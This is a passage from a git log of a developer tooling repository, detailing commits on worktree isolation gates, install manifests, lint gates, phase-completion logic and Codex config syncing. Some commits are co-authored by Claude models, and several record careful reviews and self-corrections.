dispatches without the flag.

MAJOR — the same gate ran before routing was chosen, so an isolation-`none`
host with `use_worktrees=true` hit the fail-closed FATAL even when routing
would have selected Pattern C, which is fully inline and dispatches nothing.
Resolution now happens after the pattern is known, and Pattern C skips it.

MAJOR — tests/host-integration.test.cjs fed `fs.readFileSync` output straight
to bash. The `\r?\n` fence regex guards only the delimiter, leaving embedded
CR on every line of the captured body — DEFECT.WINDOWS-CRLF-TEST-PORTABILITY,
which helpers.cjs documents by name. Now reads through `readFileNormalized`.

MAJOR — the "every dispatch-site degrade block re-records" test hand-listed
three files, so its name was a claim its scan could not support. The scan is
now derived from the workflow/reference tree (SCAN_ROOTS/collectMarkdown
hoisted to module scope so there is one definition, not two). Verified
fail-first against execute-plan.md — a file the previous scan never opened.
The two wave fragments are exempt because they delegate the re-record to
per-plan-worktree-gate.md via USE_WORKTREES_FOR_PLAN; that delegation is now
ASSERTED, so deleting the delegate fails this test instead of widening a hole
silently.

MINOR — the changeset claimed the FATAL was gone for "non-Claude runtimes"
full stop. Narrowed: isolation-`none` hosts still fail closed when worktrees
are explicitly enabled, which is the contract rather than the defect.

Two further findings were investigated and rejected, with evidence:
- Raw `spawnSync` vs `tests/helpers/process-seam.cjs`: the seam exposes
  runNode/runGit/runHook and cannot express the `bash -c` harness these tests
  need; `installAndRead` in this same file is byte-identical to the base and
  still uses raw spawnSync with an explicit timeout, which is the form the
  lint sanctions. Migrating only the new call sites would split the file's
  convention for no safety gain.
- `pending-migration-to-typed-ir` on the runtime-converters parity test: the
  annotation and the rendered-text loop both exist at the merge-base under
  #3090. This PR extends an already-tracked test rather than adding a new one
  under a category CONTRIBUTING closes to new tests.

Refs #2652

* test(#2652): re-point the execute-plan prose allowlist at its shifted line

`PROSE_ALLOWLIST` in tests/no-bare-gsd-tools-command-position.test.cjs keys
entries by LINE NUMBER. The previous commit added the post-routing isolation
block to execute-plan.md, which pushed the `validated downstream by
gsd-tools uat classify-coverage` prose mention from line 397 to 414. That
broke the guard in both directions at once: the entry at 397 went stale, and
the real mention at 414 became an unallowlisted offender.

Caught by CI (7 red jobs, all shard 3/3 plus ubuntu-22) rather than locally,
because I verified only the suites I believed the change touched. Any edit to
a workflow .md shifts line numbers, and this repo carries line-keyed
allowlists — so a workflow edit needs the full suite, not a subset.

Refs #2652

* test(#2652): route the new subprocesses through the process seam

Retracting a rejection I made on the record. In the round-6 response I
argued these call sites could keep a hand-rolled `spawnSync` because the
seam exposes only runNode/runGit/runHook and cannot express `bash -c`, and
because `installAndRead` in the same file uses that shape. The first half
was true and irrelevant, the second half is not a licence: CONTRIBUTING is
unambiguous — "Anything that shells out goes through
tests/helpers/process-seam.cjs — never a hand-rolled spawnSync/execFileSync
in your suite", and "Never use try/finally inside test bodies."

`runHook` already documents `interpreter: 'bash'` for running a shell
script, so writing the harness to a file complies without extending the
seam. I had the rule and the seam's own documentation in front of me and
reasoned around both.

Converted:
- host-integration.test.cjs degrade harness: spawnSync('bash', ['-c', …])
  → runHook(scriptFile, [], { interpreter: 'bash' }).
- install.test.cjs cursor gate: `which bash` probe → process.platform;
  the installer spawn → runNode(…, { env: installSpawnEnv({HOME,
  USERPROFILE}) }), which also blanks ambient GSD_HOME/runtime-location
  vars that could otherwise make capability discovery host-dependent;
  the emitted-gate spawn → runHook(gateScript, [], { interpreter: 'bash' }).
- Three try/finally test bodies → t.after().

Class-norm timeouts: tests/helpers/timeouts.cjs arrived with this branch's
latest base merge, so the literals written earlier (15000/120000/60000) now
duplicate PROBE_TIMEOUT_MS and INSTALL_TIMEOUT_MS. Imported instead — that
module exists because INSTALL_TIMEOUT_MS had already drifted 60s→120s once
after a real bench ETIMEDOUT.

Deliberately NOT converted: `installAndRead`'s spawnSync, which is
byte-identical to the merge-base and predates this PR — converting shared
scaffolding is an unrelated change.

Verified equivalent, not assumed: argv/cwd/env/encoding/timeout and every
assertion are preserved; t.after() still cleans up on the assertion-failure
path the try/finally covered; and the cursor test still resolves Cursor
under a hostile ambient GSD_RUNTIME=claude.

Refs #2652

* fix(#2652): replace the falsified use_worktrees doc row; distinguish an unresolvable gate from a declared none

Round-8 review findings.

BLOCKER — docs/CONFIGURATION.md's `Non-Claude note` asserted three things
this PR overturns: that worktree isolation "no other runtime honors"
(Cursor declares harness-worktree with `--worktree`, and this PR's own
install test asserts that flag reaching the emitted Agent() slot), that
non-Claude installs default the key to `false`, and that forcing `true`
always fails closed. Replaced with the capability-based description, and
the `#1515, #1521` citation dropped — those are the two issues whose
premise this PR removes.

The reviewer flagged that the fix is merge-order dependent, because #2531
rewrites the same row and its replacement text is written in anticipation
of this PR landing. Rather than pick an order, BOTH sides are now
order-independent: #2531's "Current default … until #2652" paragraph
becomes a plain troubleshooting note, and this row states the capability
rule without asserting a stamp state. Whichever merges first, the row is
correct; the second merge is a textual conflict at worst.

MINOR — the gate reported a capability verdict the tool never returned.
`ISOLATION=$(… || echo "none")` made a shim-resolution failure, a non-zero
exit and an empty stdout indistinguishable from a declared `none`, so a
transient query failure aborted /gsd:quick on Claude Code with "runtime
'claude' declares no executor-isolation primitive" — false. The gate now
tracks ISOLATION_RESOLVED separately: both paths still fail closed, but only
a real verdict claims the host declares nothing; the unresolved branch says
it could not resolve and points at the shim. Fixed in the canonical
reference so every dispatch site inherits it.

MINOR — quick.md:527 cited #2649 for its own degrade; that is #1941, and
#2649 is the diagnose-issues/execute-plan gate. Corrected, and the
distinction stated so the next reader does not chase it.

MINOR — quick.md:413 (manifest init) and :429 (worktree_branch_check embed)
still branched on USE_WORKTREES while dispatch, manifest-append, merge-back
and the skip clause had all moved to ISOLATION. Safe only by coincidence —
both now key on ISOLATION.

MINOR — the diff removes a second drift-ack entry (the execute-phase.md key
from 2658-trae-instruction-file-path.json), forced by the same duplicate-key
lint rule as the 2649 removal. Disclosed in the PR comment; the earlier
disclosure covered only one of the two.

Verified: lint:ci green; 300/300 across host-integration,
fix-1941-quick-worktree-stale-base, execute-phase-wave and workflow-guard.

Refs #2652

* test(#2652): anchor the emitted-gate finder on the heading, not the assignment

`b89c3fbf` added a finder that located the gate's `Resolve ISOLATION` block by
the literal `ISOLATION=$(gsd_run query dispatch-isolation --raw`. `f3bccf21`
then split that assignment into `_ISOLATION_RAW`/`ISOLATION_RESOLVED` so a shim
failure stops masquerading as a declared `none` — and the finder stopped
matching. The test did not report the drift it exists to catch; it reported
"emitted dispatch-isolation-gate.md has no Resolve ISOLATION bash block" and
went red, and stayed red because the earlier full-suite run was read from a
truncated log.

Anchored on the heading instead. The workflows tell a dispatch site to run the
`Resolve ISOLATION` and `Resolve the harness flag` blocks BY NAME, so the
heading is the contract and the body is free to change under it.

Verified: 413/413 in tests/install.test.cjs. The test still bites — mutating the
gate's `ISOLATION="$_ISOLATION_RAW"` to `ISOLATION=none` turns it red (the
emitted gate then resolves cursor to none and exits 1 instead of printing
harness-worktree), and reverting restores green.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2652): wire the canonical resolver at the one dispatch site that still inlined the old shape

Codex review of the whole PR on the new base found one Major, and it was real.

executor-isolation-dispatch.md declares references/dispatch-isolation-gate.md
canonical at line 10, then kept the OLDER resolver inline: `|| echo "none"`, no
ISOLATION_RESOLVED. So the one site that resolves isolation for the wave path
collapsed a shim failure into a declared `none` and aborted with "runtime
'$RUNTIME' declares no executor-isolation primitive" — false for a Claude or
Cursor user whose resolver merely failed to answer. Still fail-closed, so not an
unsafe-dispatch hole, but the correction this PR is about was unwired at the
site that matters most.

Replaced with the gate's exact shape: capture the raw value, track
ISOLATION_RESOLVED, and emit the "could not resolve" FATAL when no verdict was
learned.

Added a regression test in the #2652 dispatch-site parity suite: every file that
ASSIGNS from `gsd_run query dispatch-isolation --raw` must carry
ISOLATION_RESOLVED, must not use the collapsing form, and must have a distinct
unresolved message. Nothing covered this before — install.test.cjs checks the
emitted REFERENCE, not each site's own inline copy, which is exactly how the two
drifted apart.

The test's first draft also flagged quick.md, diagnose-issues.md and
execute-plan.md. That was a false positive worth recording: those three
@-reference the gate and only make `--force-isolation` re-record calls, which
carry no verdict. The predicate now matches an assignment from the resolver, not
any mention of it, so it flags sites that can actually be wrong.

Verified by mutation: restoring the collapsing line reds the new test.

Validated: lint:ci clean; full suite shows the same 7 known failures as the
pre-change baseline — #1160 _resolveManifest and the #3053 quick_id
host-timezone tests (both reproduce on pristine next @ 33fca50d), plus
helpers-cleanup "outside os.tmpdir()", which fails only in a worktree.

* test(#2652): close two vacuous-pass holes in the new inline-resolver guard

Codex cleared the push and flagged the guard test itself. Both holes were real.

SCAN_ROOTS already yields references/dispatch-isolation-gate.md, and the test
appended it a second time, so the candidate list was [executor, gate, gate] and
`length >= 2` was satisfiable by the gate alone. If the executor site had
dropped out of the predicate — the exact regression the test exists to catch —
it would still have passed. Paths are deduped and the assertion now pins the two
expected inliner identities instead of a count.

The collapse detector keyed on `ISOLATION=$(…)`, so `_ISOLATION_RAW=$(… || echo
"none")` restored the identical defect while satisfying every other assertion
(ISOLATION_RESOLVED still appears in the file). Codex mutation-probed exactly
that and it passed. The pattern now matches any assignment target and any
`|| … echo` tail. Verified: that mutation now reds the test.

Test-only change; the workflow bash is byte-identical to the commit the full
suite ran green against. lint:ci clean, host-integration 223/223.

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-08-11 17:10:28 -04:00
Rezolv
e87fb409ee enhance(#2573): stamp STATE.md with its commit and surface a freshness hint (#2622)
* enhance(#2573): stamp STATE.md with its commit and surface a commit-age freshness hint

Adds a `state_head` stamp to STATE.md and derives a tri-state commit-age
freshness proxy (state_commits_behind / state_commit_stale) through
state.cjs's readStateHeadFreshness, surfaced on smart-entry signals and as
health W024. The proxy is advisory: classify() deliberately does NOT consume
it (ADR-1787 locks the classification/routing boundary — a signal, not a route).

Composes with #3099 and #1882 (both merged to next after this branch): the
commit-age proxy reads `state_head` while the LAST_ACTIVITY_UNPARSEABLE
diagnostic reads `last_activity` — two different fields, not "two staleness
signals on one field." A new regression test asserts a STATE.md carrying both
an unparseable last_activity AND a valid state_head resolves each independently
(diagnostic fires once; freshness reads state_head, commits_behind 0).

Rebased onto next (flattened): resolved the add/add conflicts in
src/smart-entry.cts (kept both the #2573 freshness import/derivation and the
#3099 diagnostic import/call) and tests/smart-entry.unit.test.cjs (kept both
describe blocks). Drift-ack for health.md's W024 row is unchanged (12348 B).
Tests: smart-entry 62, state/state-transition/health/verify 639, all pass.

* chore(#2573): allowlist health-validation test in the prompt-injection scan

The scanner's `exec('` code-execution pattern matches the benign
`re.exec('<phase-id>')` RegExp method calls in the phase-ID grammar tests
(pre-existing: 16 such calls on next, this PR adds none). The file entered the
diff-mode scan's changed-file set only because #2573's W024 state_head
assertions touch it. Allowlist it alongside the other test files that carry
pattern-matching content as data (same DEFECT.PROMPT-INJECTION-SCAN-COLLISION
class). Scanner self-test 38/0; diff scan 14 files, 0 findings.
2026-08-11 17:10:23 -04:00
Tom Boucher
7a7bf19fc1 enhance(#2872): record scope and runtime in the install manifest (#3323)
* enhance(#2872): record scope and runtime in the install manifest

gsd-file-manifest.json gains manifestVersion, runtime and scope, and a new
read-only Installed Surface Resolver Module reads both install scopes for a
runtime in one call -- the first code path in the repo that does.

Phase 3 of epic #2866 (ADR-2866). Blocks Phase 4 (#2873), which resolves
#2218: the resolver's shadowedBy field is that defect expressed as a value
for the first time. It ships computed-and-unread here.

Installed-ness is decided by manifest PRESENCE, never by the new fields, so
a manifest written by an older GSD stays fully functional and no user needs
to reinstall. Recorded runtime/scope are corroboration: a disagreement with
the probed config dir is reported as declaredScopeMatchesProbe: false, never
silently corrected.

readInstallManifest is widened additively -- version/timestamp/mode/files
keep their exact names, types and meanings for all four existing callers.
manifestVersion is a new field rather than a reinterpretation of version,
which holds the package version and is read by the golden-parity fixtures.

Stems are derived from the installed manifest's own file keys, the inverse
of Phase 2's filename composition, guarded by a fast-check round-trip
property plus a kebab-case charset check so a crafted manifest key cannot
put a traversal segment, control character or ANSI escape into a trigger
that Phase 4 renders back to the user.

Also fixes two defects found while working:
- bin/install.js hardcoded manifestVersion: 2 while the reader owned
  MANIFEST_SCHEMA_VERSION = 2. Now single-sourced, with a parity test.
- docs/installer-migrations.md documented an install-state schema of five
  snake_case fields that have never been written; InstallState has only ever
  been { schemaVersion, appliedMigrations }. Corrected with a dated note.

Verification runs on the remote runner.

* fix(#2872): fold review findings from three independent engines

Standards axis:
- convert the manifest-schema suite from a hybrid setup(t) closure to
  beforeEach/afterEach (CONTRIBUTING.md:319-354 Pattern 1). The hybrid was
  neither approved pattern and a new test forgetting the call got no warning.
- SCOPE_ORDER was declared twice with no parity test -- this repo's recorded
  generative-fix-divergence class. Give the ordering one owner: install-scope
  exports it frozen, the layout module and the resolver both import it, and a
  test locks it against scopeRank so the constant and the ranks cannot drift.
- drop the defaultReadManifest passthrough (Middle Man).

Spec axis:
- add the VOLATILE_FILES exclusion test and source comment the acceptance
  table promised and did not deliver. gsd-file-manifest.json stays excluded:
  the new fields are deterministic, but timestamp -- the original reason --
  is unchanged.

Security axis:
- bound the reported manifest runtime at 64 chars, matching the
  truncatePostureValue convention already used in this subsystem. It reached
  declaredRuntime unbounded while the adjacent stems were gated by SAFE_STEM;
  an inconsistent posture on the same attacker-influenceable document. The
  charset stays ungated on purpose -- declaredRuntimeMatchesProbe needs to see
  the real value -- so Phase 4 must sanitize before rendering, recorded in the
  design's Known limits.

Both new parity tests were verified to FAIL when the two sides are made to
disagree, then pass again on revert. Verification runs on the remote runner.

* chore(#2872): backfill changeset pr number to 3323

* fix(#2872): give git fixture construction its own timeout class

PR #3323's full test (windows-latest, 22, shard 2/3) failed with

  gitOrThrow: 'git init' failed -- outcome=timed_out exitCode=null
  gitOrThrow: 'git commit --allow-empty' failed -- outcome=timed_out

from drift-detection.test.cjs's beforeEach, a file this branch never touched.
Every other lane passed the same commit, including windows-latest node 24 on
all three shards, and next is green.

Root cause is a bound sized for the wrong class. DEFAULT_GIT_TIMEOUT_MS is
15000 and its own comment scopes it to plumbing READS -- rev-parse, branch,
log -- against an existing repo. createFixture uses it for six sequential
repo-CONSTRUCTION spawns: init, three config writes, add -A, commit. init and
commit each write dozens of files, and on Windows every spawn is
Defender-scanned. Sibling tests in the failing block took 15.6-22.0s against
a 15000ms bound.

This repo already diagnosed this exact shape once: timeouts.cjs's
HOOK_FANOUT_TIMEOUT_MS records PR #3285 failing in the SAME job with the SAME
outcome=timed_out exitCode=null signature at the SAME bound while every other
lane passed, and concludes 'a bound sized for the wrong class, not a slow
machine'. It was fixed by splitting out a heavier class-norm at 60000. Same
remedy here: GIT_FIXTURE_TIMEOUT_MS = 60000, 4x the bound that failed and half
INSTALL_TIMEOUT_MS.

DEFAULT_GIT_TIMEOUT_MS deliberately stays at 15000 -- a blanket raise would
stop a genuinely hung plumbing read from surfacing fast.

Verified the value reaches the spawn rather than being an ignored option:
spawnSync was monkeypatched before requiring the fixture module, and all six
git construction calls were captured carrying timeout: 60000.

This branch's two new test files shift shard composition, which is how a
pre-existing fragility landed in the heaviest shard on the slowest lane.
Fixed here rather than deferred, per the no-defer rule.

Verification runs on the remote runner.

---------

Co-authored-by: sim <sim@local>
2026-08-10 15:50:55 -04:00
Tom Boucher
bcf7b04864 chore(#2896): convert CONTEXT.md prose defect registry into enforced gates (#3325)
* chore(#2896): convert CONTEXT.md prose defect registry into enforced gates

Squashes the prior 4-commit sequence and fixes defects found while
resuming this branch: 5 orphaned/corrupted DEFECT fragment lines left
by an earlier botched edit, 17 "Source of truth: Memtrace `find_symbol`"
placeholders that had destroyed real file-path citations, and 3
DEFECT.GENERATIVE-* entries merged into one RULESET.GENERATIVE-FIX
predicate (policy, not an unenforced defect) to satisfy the zero
DEFECT.<NAME>.<field>= acceptance criterion.

Six mechanizable defects get real gates: DEFECT.UNBOUNDED-SUBPROCESS
(eslint-rules/require-subprocess-timeout.cjs), DEFECT.CANARY-VERSION-LEAK
(scripts/lint-canary-version-leak.cjs + version-gate.yml),
DEFECT.CHANGESET-PR-FIELD-DRIFT (findPrFieldDrift in changeset/lint.cjs),
DEFECT.FRONTMATTER-SCALAR-BROAD-GREP, DEFECT.REMOVED-BUT-NEEDED, and
DEFECT.DEFAULT-FLIP-DOCUMENTATION (new lint scripts, wired into lint:ci).
Already-enforced and unenforceable prose entries are deleted; the gate
is the record.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#2896): route the new lint tests' subprocess calls through the bounded process-seam helper

The 4 new test files for this PR's lint checks called cp.spawnSync/
execFileSync directly with no timeout, tripping this repo's own
existing local/no-unbounded-spawn ESLint rule. Route every one through
runNode/gitOrThrow (tests/helpers/process-seam.cjs,
tests/helpers/git-fixture.cjs) instead, matching the pattern already
used elsewhere in the suite (e.g. tests/changeset-lint.test.cjs).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix: register claude-orchestration.cjs and regenerate stale generated indexes

Pre-existing drift on next, unrelated to this PR's own change, surfaced
by running lint:ci as part of verifying #2896: two cli_modules
(claude-orchestration.cjs, write-set.cjs) landed without a manifest
regen, and CONTEXT.md's own edits in this PR staled its two generated
indexes. Adds the missing docs/INVENTORY.md row for
claude-orchestration.cjs (write-set.cjs already had one — only its
manifest entry was stale) and regenerates
docs/INVENTORY-MANIFEST.json, docs/CONTEXT-INDEX.json, and
examples/dynamic-context-management/CONTEXT-INDEX.json.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2896): default-flip-documentation lint's local fallback base was main, not next

Found in review: every other base-ref fallback in this repo (see
scripts/changeset/lint.cjs's DEFAULT_BASE, #2988) defaults to `next`,
the integration branch every PR actually targets — `main` is the
release branch. This script's local fallback (used only when
GITHUB_BASE_REF is unset, i.e. never in CI, but potentially on a local
or direct invocation) diffed against the wrong ref. No test exercised
the unset-env-var path, so it shipped unnoticed; every e2e test sets
GITHUB_BASE_REF explicitly and is unaffected by this fix.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2896): stale eslint comment, overclaiming CONTEXT.md wording, and an incompletely-regenerated manifest

Found by the isolated Standards code-review pass:
- eslint.config.mjs's require-subprocess-timeout comment said "'warn'
  for now... flip to 'error' once migrated" while the rule already
  shipped as 'error' with all 8 sites migrated in the same commit —
  described a state that never existed.
- The CONTEXT.md pointer block claimed the rule's bounded call sites
  "never throw", but roadmap-upgrade.cts's pre-mutation clean-tree
  check correctly still throws on failure (it gates a destructive
  real-run migration; degrading to "assume clean" would risk clobbering
  uncommitted work) — softened the claim to describe both shapes
  accurately instead of overclaiming one.
- docs/INVENTORY-MANIFEST.json's claude-orchestration.cjs/write-set.cjs
  entries from the prior "fix: register claude-orchestration.cjs..."
  commit didn't actually land — re-running the generator now includes
  them; lint:generated-sync is green.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#2896): backfill changeset pr field with the real PR number

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2896): normalize buildCorpus file paths to POSIX in lint-removed-but-needed

Windows CI caught it: path.relative(root, abs) returns backslash-
separated paths on Windows, but findSurvivingReferences's package-lock
special case does file.startsWith('.github/workflows') — a forward-
slash literal. On Windows the check silently never matched, so
tests/removed-but-needed-lint.test.cjs's real-defect-shape fixture got
exit 0 instead of the expected exit 1. Normalize at the production
source (RULESET.CONTENT-PATH-NORMALIZATION) rather than the test side.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-08-10 12:55:52 -04:00
Tom Boucher
e201cde73c refactor(#3186): one shared phase-completion predicate, disk-strict (#3306)
* docs(#3186): record the disk-strict completion decision in ADR-3180 7.4

The maintainer decided #2957 on 2026-08-08: disk state is authoritative and a
ROADMAP checkbox is a human annotation with no machine authority. Section 7.4
still carried the OPEN QUESTION and was marked blocked, so the contract said one
thing and the tracker another.

Recorded per section 7's own rule - a behavior not stated there is not decided,
and amending a rule is an ADR amendment rather than a code change with a comment.
The decision comment names Phase 4's PR as the carrier of this edit and makes it
an acceptance criterion that the text be in the tree before implementation
begins, so this lands first, alone, ahead of any code.

Also clears the stale blocked-on-2957 row in the guard roster.

* refactor(#3186): one shared phase-completion predicate, disk-strict

isPhaseComplete in verification.cts becomes the single owner. It calls
readVerificationStatus UNCONDITIONALLY - plan count is not a precondition - so a
zero-plan phase with a passing VERIFICATION.md is complete. That is #3168: init
gated the read on a plan count and synthesized a not_required sentinel, so
phase.complete succeeded while init.manager reported incomplete for the same
phase.

The guard, built and run before scope was fixed per Amendment 3, found 9
re-derivations where the ADR named 3. Four were unnamed, including one in the
prompt layer: mvp-phase.md ORed a ticked checkbox with disk status, which under
disk-strict is the divergence itself.

Per the #2957 decision, a ticked ROADMAP checkbox is a human annotation with no
machine authority. The overrides in roadmap analyze and init manager are deleted
rather than generalized; the user's checkbox stays in ROADMAP.md, only its
authority goes.

scanPhasePlans.completed and buildWorkstreamInventory are deliberately NOT folded
- they answer 'are all plans summarized', which is a different question, and
folding them would either over-report completion or invert the dependency
direction between Phase 1's owner and this one.

Verified on the remote runner.

* fix(#3186): close seven review findings and record the missing-verdict rule

The isolated review reproduced a write-path regression I introduced: migrating
cmdRoadmapUpdatePlanProgress dropped its summaryCount>=planCount gate, so a phase
with a fresh passing verification plus a newly-added unsummarized plan reported
complete AND wrote a checkbox into ROADMAP.md while phase complete refused. The
owner stays right per 7.4 - plan count is not a completion precondition - so the
gate is restored at the write site as an explicit composition, mirroring the
separate 2648 unexecuted-plan gate cmdPhaseComplete already carries.

The spec axis was right that my 0.x-split reasoning was too permissive. The 2957
decision names buildStateFrontmatter as one of the three that must converge, and
buildWorkstreamInventory combined a summaries-met local with verification data to
decide the same verdict - Decision 4(c)'s named bypass, and it reproduced 3168 in
a third surface. Both now route through the owner. The raw scanPhasePlans helper
stays: it answers are-plans-summarized, which genuinely is a different question.

Maintainer decision recorded in 7.4: a missing verdict is not a passing one, so
an absent VERIFICATION.md means not complete everywhere. That retires 2645's
verifier-disabled tolerance and inverts its Goodhart incentive - deleting the
evidence now lowers completion instead of raising it.

Guard hardened: block-form count gates and algebraic restatements are caught, and
the header now discloses its remaining limits instead of overclaiming.

Verified on the remote runner.

* fix(#3186): route state sync through the owner and catch bare completed reads

The matrix found 52 failures. 51 were fixtures asserting the old semantics: a
phase with plans and summaries but no VERIFICATION.md used to count complete and
correctly no longer does. Each fixture now carries a passing verification where
that is what the test was actually about, rather than having its assertion
weakened.

The 52nd was a real 10th re-derivation the guard could not see. cmdStateSync
destructured scanPhasePlans().completed directly - a bare field read, not a
comparison - and used it as a completion verdict, so state sync and state json
disagreed on completed_phases for identical disk state. Routed through the owner.

Guard gains shape (d): any read of .completed off a scanPhasePlans() result
outside plan-scan.cts, in chained, destructured and indirect forms, function
scoped with no line window. It cannot tell a summaries-met read from a completion
read - that is data flow - so it flags every one and requires a written-reason
exemption, which is the same discipline shapes a-c already use. The blind spot is
disclosed in the header rather than overclaimed.

The emitted-attribution failure was also mine, not pre-existing: the mvp-phase.md
checkbox-OR removal moves emitted bytes, acknowledged in tests/emitted-drift-acks.

Verified on the remote runner.

* test(#3186): give the nested-plans sync fixture a passing verification

Last 3 matrix failures were one failure echoing up two describe levels. Phase
01-alpha had plans and summaries but no VERIFICATION.md, so under disk-strict
completed stayed 0 and no Progress change was emitted - correct new behavior, not
a regression.

Added the passing verification rather than dropping the Progress expectation, so
the test still covers what #3257 is about: that a nested plans/ layout is counted
and not undercounted. Probe against the built lib confirms
Progress: 0% -> 50% alongside Total Plans in Phase: 0 -> 3.

* chore(#3186): backfill changeset PR number

pr:0 placeholder replaced with the real number now that #3306 exists.

---------

Co-authored-by: sim <sim@local>
2026-08-10 10:18:29 -04:00
Tom Boucher
96a82bbffb enhance(#3245): report the detected host runtime in init (#3307)
* test(#3245): failing-first coverage for host runtime detection in init

Locks the behavior epic #2313 Phase 5 must produce before any of it exists: init reports the detected host, explicit GSD_RUNTIME and config runtime still outrank detection, non-Codex sessions are untouched, and nothing is ever written to shared defaults (#2297).

* enhance(#3245): report the detected host runtime in init

init reported agent_runtime: claude inside a Codex session, and resolved agents_dir to the Claude agents root with agents_installed: true — a spuriously healthy triple. Runtime identity was only ever read from GSD_RUNTIME or an explicit runtime in .planning/config.json.

Adds a detection rung beneath both explicit sources, in a new pure module. Codex is identified from its own documented session environment (CODEX_SANDBOX / CODEX_SANDBOX_NETWORK_DISABLED), else an explicitly exported CODEX_HOME whose config.toml exists. The default ~/.codex is never probed: that file exists on every machine that has run Codex, so probing it would misreport other runtimes' sessions.

resolveRuntime keeps its exact contract and all 71 dependents, including formatGsdSlash command-style emission; only withProjectRoot consumes the new rung. Nothing is written on any path (#2297). Explicit config still wins (#2517).

* fix(#3245): make the parity guard real and single-source the marker

Four independent review passes found the generative-fix-divergence guard was vacuous: it asserted agreement at the one input where inferPreferredRuntime and detectHostRuntime do not differ, so it could not fail. It now pins the actual divergence point (CODEX_HOME set, config.toml absent) and records that the asymmetry is deliberate.

The config.toml marker is now single-sourced from update-context.cts and imported, rather than carried independently by two surfaces. tests/helpers.cjs now scrubs CODEX_SANDBOX and CODEX_SANDBOX_NETWORK_DISABLED: GSD reads them, so an ambient Codex session would otherwise make the non-codex control test fail non-deterministically.

Also: detection is throw-safe end to end rather than only around the fs probe; the Windows-join test is replaced with one that can actually fail (trailing-separator, catches hand-rolled concatenation); the #2297 no-write proof now wraps resolveReportedRuntime, the function that ships, across all three ladder outcomes.

* chore(#3245): backfill changeset pr number

---------

Co-authored-by: sim <sim@local>
2026-08-10 09:48:26 -04:00
Tom Boucher
d28ab7c8f7 enhance(#3243): sync installed codex .toml model/effort to the passive posture (#3296)
* feat(#3243): sync installed codex .toml model/effort to the passive posture

Implements ADR-2313 D7, and owns the Codex .toml typed IR that Phase 1's
review assigned to this phase.

The IR exists for a structural reason, not tidiness: this phase has to
PARSE these files, and a parser kept bug-compatible with a separate
renderer is the generative-fix-divergence shape this epic already dealt
with once for the model predicate. So Phase 2's parsing MOVES here
rather than being copied — agent-install-check now imports it, and its
test file passing unchanged is the proof the extraction altered nothing.

The load-bearing property is byte-identical round-trip: render(parse(x))
=== x. Without it a sync silently reformats a user's file — line
endings, key order, BOM, trailing newline — turning a two-line repair
into a whole-file diff in their dotfile repo. The IR keeps original
lines and removes targeted ones rather than reconstructing from parsed
fields, which is what makes that property hold.

It also reconciles a real contradiction between Phase 2 and ADR-2313. An
unterminated developer_instructions block: the reader excludes the rest
of the file, deliberately failing toward a false positive, because
misreading prose as a pin only wastes a user's time. The writer must
refuse, because proceeding on a malformed document rewrites it. A false
positive is the safe direction for a reader and the dangerous one for a
writer. So the parse reports the fact and the two consumers branch on
it — one parse, one truth, two policies, instead of two parsers that
agree today.

The sync leaves a legal real-Codex pin and its coupled effort untouched,
reported skipped rather than synced; strips a stale Anthropic or tier
model and an orphaned effort; keeps dry-run as the default; refuses any
file whose parse fails; and skips symlinks exactly as the Claude path
already did. The Claude path itself is byte-identical.

PARSE_REASON.NO_HEADER from the ADR's illustrative snippet is
deliberately not implemented — a missing header is legal, not an error,
so it would be a dead enum member that the enum-lock test then pins.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3243): preserve per-line endings and make the codex write atomic

Two findings from an isolated review, both in the write path.

BLOCKER: mixed line endings broke the byte-identical round-trip. `eol`
was a single whole-file flag and split(/\r?\n/) discarded each line's
own terminator, so render re-joined with ONE style and normalized every
line — even with zero strips performed. A file with one CRLF line and
the rest LF came back fully converted. That falsified the A14 guarantee,
violated the design's "must not silently rewrite every line", and made
the CONTEXT.md glossary claim wrong. It was untested because A12 and B15
only cover PURE CRLF; no mixed-ending fixture existed anywhere.

Fixed by keeping each line's terminator alongside its content, so render
is a plain concatenation and a strip removes only the target line and
its own terminator. `eol` survives as informational metadata that render
never reads. Seven fixtures added for the paths nothing exercised:
mixed endings unmodified and with a strip, a lone \r, a file ending on
the block's closing ''' with no newline, multiple trailing newlines, a
BOM-only file, and an empty file.

MINOR, but it contradicted this phase's own contract: the write was
in-place open-truncate, so a failure between truncate and completion
leaves a truncated .toml — exactly what ADR-2313 says must never happen.
The Codex path now writes a sibling temp file and renames over the
target, which is atomic on one filesystem, with cleanup on failure. It
uses the repo's existing retryRenameSync rather than a hand-rolled
rename, and deliberately NOT platformWriteSync, whose normalizeContent
would mangle the very CRLF and trailing-newline bytes the round-trip
property exists to preserve.

The Claude path keeps its in-place write untouched. It has the same
shape, but changing it is not this phase's business and its tests must
stay byte-identical.

B20 previously mocked writeFileSync to throw BEFORE touching anything,
so it proved nothing about a mid-write failure — its passing comment was
true only because of how the mock was built. It now performs a real
truncated write wherever writeFileSync is called, catching both the
naive direct-to-target path and the new temp path, and asserts the
target is byte-identical afterwards with no stray temp file left.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3243): preserve the trailing-newline state when stripping a last line

Caught by B17, one of this phase's own tests — the suite working, not a
test problem.

Content is reconstructed as the concatenation of lines[k] +
terminators[k], so a file with no trailing newline has '' as its last
terminator. removeLine spliced out both arrays at the same index, which
is right for a middle line but wrong for the last one: it dropped the
empty terminator and left the PREVIOUS line's newline in place. A file
ending `...\nmodel = "sonnet"` with no trailing newline came back
as `...\n`, gaining a newline the user never wrote.

The new last line now inherits the removed line's terminator, so a
removal leaves the file exactly as if that line had never been written.
Removing the only line yields an empty file rather than a stray
terminator.

Both stripModel and stripReasoningEffort funnel through the one
removeLine, confirmed rather than assumed, so a single fix covers both —
including the row-B7 shape where a stale model and its orphaned effort
